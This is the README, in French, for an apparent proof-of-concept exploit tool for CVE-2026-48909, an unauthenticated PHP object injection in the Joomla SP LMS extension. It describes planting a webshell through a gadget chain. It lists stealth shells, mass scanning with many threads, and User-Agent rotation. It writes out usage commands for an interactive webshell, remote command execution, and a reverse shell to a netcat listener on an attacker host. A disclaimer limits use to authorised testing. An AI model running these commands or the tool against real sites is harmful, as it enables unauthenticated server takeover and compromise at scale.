CVE-2026-48909 - Exploit d'injection d'objets PHP non authentifiée menant à une exécution de code à distance (RCE) pour l'extension Joomla SP LMS versions <= 4.1.3. Exploite la désérialisation du cookie lmsOrders pour écrire un webshell via la chaîne de gadgets Joomla FormattedtextLogger. Inclut un shell interactif, la découverte de chemins et le nettoyage. Réservé aux tests de sécurité autorisés uniquement.
Outil de preuve de concept pour l'évaluation de CVE-2026-48909
Auteur : Sudeepa Wanigarathna
[!IMPORTANT] Utilisation autorisée uniquement. Cet outil est destiné à la recherche en sécurité, à l'éducation et aux tests sur des systèmes que vous possédez ou pour lesquels vous avez une autorisation écrite explicite. L'accès non autorisé à des systèmes informatiques est illégal. L'auteur décline toute responsabilité en cas d'utilisation abusive.
CVE-2026-48909 est une injection d'objets PHP non authentifié critique dans l'extension SP LMS de Joomla. Cet outil implémente la chaîne d'attaque complète afin que les professionnels de la sécurité puissent valider l'impact dans un environnement de laboratoire ou autorisé.
Il couvre la détection, la découverte de chemin, la livraison de charge utile, l'exploitation interactive post-exploitation (lorsque autorisé), l'évaluation de masse et le nettoyage optionnel.
| Attribut | Valeur |
|---|---|
| ID CVE | CVE-2026-48909 |
| CVSS | 9,5 (Critique) |
| Vecteur d'attaque | Réseau — non authentifié |
| Impact | Exécution de code à distance |
| Produit affecté | Joomla SP LMS |
| Versions affectées | 1.0.0 – 4.1.3 |
| Version corrigée | SP LMS 4.1.4+ |
| Chaîne de gadgets | Nécessite Joomla < 5.2.2 |
| Composant | Version | RCE |
|---|---|---|
| SP LMS | < 4.1.4 | Vulnérable |
| SP LMS | ≥ 4.1.4 | Corrigé |
| Joomla | < 5.2.2 | Chaîne de gadgets utilisable |
| Joomla | ≥ 5.2.2 | Chaîne de gadgets corrigée |
| Capacité | Description |
|---|---|
| Exploitation non authentifiée | Aucune identification requise |
| Charges utiles multiples | 7 variantes de webshell / exécution |
| Shell interactif | Session avec historique des commandes après déploiement |
| Découverte de chemin | Sondage automatique des chemins inscriptibles |
| Nettoyage | Supprimer le webshell déployé après les tests |
| Capacité | Description |
|---|---|
| Analyse de masse | Listes de cibles multi-threadées (1000+) |
| Support proxy | HTTP/SOCKS (Burp, ZAP, etc.) |
| Shell inversé | Charges utiles basées sur un écouteur |
| Mode furtif | Canaux de commande par en-têtes / POST |
| Randomisation | Noms de shell UUID, rotation du User-Agent |
| Rapports | Export en JSON, HTML ou CSV |
| Aides à la détection | Vérifications de version Joomla, --check-only, --safe-mode |
cmd de Joomlapipcd exploit
python3 -m venv venv
source venv/bin/activate # Windows: venv\Scripts\activate
pip install -r requirements.txt
python3 "CVE-2026-48909 v3.0.py" --help
requests>=2.31.0
urllib3>=2.0.0
argparsefait partie de la bibliothèque standard Python ; il n'a pas besoin d'être installé via pip.
Remplacez
https://target.examplepar une cible de laboratoire ou autorisée uniquement.
python3 "CVE-2026-48909 v3.0.py" https://target.example --find-path --interactive
python3 "CVE-2026-48909 v3.0.py" https://target.example --check-only
python3 "CVE-2026-48909 v3.0.py" https://target.example --safe-mode
python3 "CVE-2026-48909 v3.0.py" --targets targets.txt --threads 20 --export results.html --export-format html
# Écouteur
nc -lvnp 4444
# Hôte d'exploitation
python3 "CVE-2026-48909 v3.0.py" https://target.example \
--find-path \
--shell-type reverse \
--reverse-host 192.168.1.100 \
--reverse-port 4444
python3 "CVE-2026-48909 v3.0.py" https://target.example --find-path
python3 "CVE-2026-48909 v3.0.py" https://target.example --path /var/www/html/tmp/shell.php
python3 "CVE-2026-48909 v3.0.py" https://target.example --find-path --interactive
python3 "CVE-2026-48909 v3.0.py" https://target.example --path /tmp/x.php --cmd "id"
python3 "CVE-2026-48909 v3.0.py" https://target.example --shell-type stealth --find-path --interactive
python3 "CVE-2026-48909 v3.0.py" https://target.example \
--find-path --interactive \
--proxy http://127.0.0.1:8080 \
--insecure
python3 "CVE-2026-48909 v3.0.py" https://target.example --cleanup /tmp/x.php
https://lab-a.example
https://lab-b.example
https://lab-c.example
python3 "CVE-2026-48909 v3.0.py" -T targets.txt --threads 50 --export scan.json
| Argument | Description |
|---|---|
target | URL de la cible unique |
--targets, -T FILE | Fichier de cibles (une URL par ligne) |
--path PATH | Chemin absolu sur le serveur pour le webshell |
--shell-type TYPE | minimal, standard, stealth, base64, full, reverse, blindshell |
--shell-name NAME | Nom du fichier webshell (par défaut : x.php) |
| Argument | Description |
|---|---|
--timeout SECONDS | Délai d'attente des requêtes (par défaut : 15) |
--insecure | Ignorer la vérification du certificat TLS |
--proxy URL | ex. http://127.0.0.1:8080 |
--random-ua | Rotation du User-Agent (activé par défaut) |
--delay SECONDS | Délai entre les requêtes |
| Argument | Description |
|---|---|
--reverse-host HOST | Hôte de l'écouteur |
--reverse-port PORT | Port de l'écouteur |